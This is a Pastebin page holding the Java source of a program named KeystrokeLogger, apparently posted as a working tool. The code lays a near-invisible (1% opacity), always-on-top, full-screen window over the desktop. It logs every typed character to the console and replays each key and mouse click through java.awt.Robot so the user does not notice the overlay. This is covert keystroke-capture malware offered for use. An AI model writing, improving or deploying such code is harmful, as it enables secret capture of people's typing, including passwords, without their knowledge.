Advertisement
Yarukinasu

KeystrokeLogger

May 8th, 2011
183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.24 KB | None | 0 0
  1. import com.sun.awt.AWTUtilities;
  2. import java.awt.Dimension;
  3. import java.awt.Robot;
  4. import java.awt.Toolkit;
  5. import java.awt.event.KeyEvent;
  6. import java.awt.event.KeyListener;
  7. import java.awt.event.MouseAdapter;
  8. import java.awt.event.MouseEvent;
  9. import javax.swing.JFrame;
  10.  
  11. /**
  12.  * Logs the keystroke.
  13.  *
  14.  * @author Yarukinasu
  15.  */
  16. public final class KeystrokeLogger
  17. {
  18.     /**
  19.      * @param args the command-line arguments
  20.      */
  21.     public static void main(String[] args)
  22.     {
  23.         try {
  24.             if (AWTUtilities.isTranslucencySupported(AWTUtilities.Translucency.TRANSLUCENT)) {
  25.                 final JFrame frame = new JFrame();
  26.                 final Robot robot = new Robot();
  27.  
  28.                 frame.addKeyListener(new KeyListener()
  29.                 {
  30.                     @Override
  31.                     public void keyPressed(KeyEvent e)
  32.                     {
  33.                         frame.setVisible(false);
  34.                         sleep();
  35.                         robot.keyPress(e.getKeyCode());
  36.                         sleep();
  37.                         frame.setVisible(true);
  38.                     }
  39.  
  40.                     @Override
  41.                     public void keyReleased(KeyEvent e)
  42.                     {
  43.                         frame.setVisible(false);
  44.                         sleep();
  45.                         robot.keyRelease(e.getKeyCode());
  46.                         sleep();
  47.                         frame.setVisible(true);
  48.                     }
  49.  
  50.                     @Override
  51.                     public void keyTyped(KeyEvent e)
  52.                     {
  53.                         // print the key
  54.                         System.out.print(e.getKeyChar());
  55.                     }
  56.                 });
  57.  
  58.                 frame.addMouseListener(new MouseAdapter()
  59.                 {
  60.                     @Override
  61.                     public void mouseClicked(MouseEvent e)
  62.                     {
  63.                         frame.setVisible(false);
  64.                         sleep();
  65.                         robot.mousePress(e.getModifiers());
  66.                         sleep();
  67.                         robot.mouseRelease(e.getModifiers());
  68.                         sleep();
  69.                         frame.setVisible(true);
  70.                     }
  71.                 });
  72.  
  73.                 frame.setAlwaysOnTop(true);
  74.  
  75.                 // move to the top left, and set the size to the size of the screen
  76.                 final Dimension dimension = Toolkit.getDefaultToolkit().getScreenSize();
  77.                 frame.setBounds(0, 0, (int) dimension.getWidth(), (int) dimension.getHeight());
  78.  
  79.                 frame.setVisible(true);
  80.  
  81.                 // sets the transparency to almost invisible
  82.                 AWTUtilities.setWindowOpacity(frame, 0.01f);
  83.             }
  84.         }
  85.         catch (final Exception ex) {
  86.             ex.printStackTrace();
  87.         }
  88.     }
  89.  
  90.     /** Sleeps the thread for 25 milliseconds. */
  91.     private static void sleep()
  92.     {
  93.         try {
  94.             Thread.sleep(25);
  95.         }
  96.         catch (InterruptedException ex) {
  97.             ex.printStackTrace();
  98.         }
  99.     }
  100. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement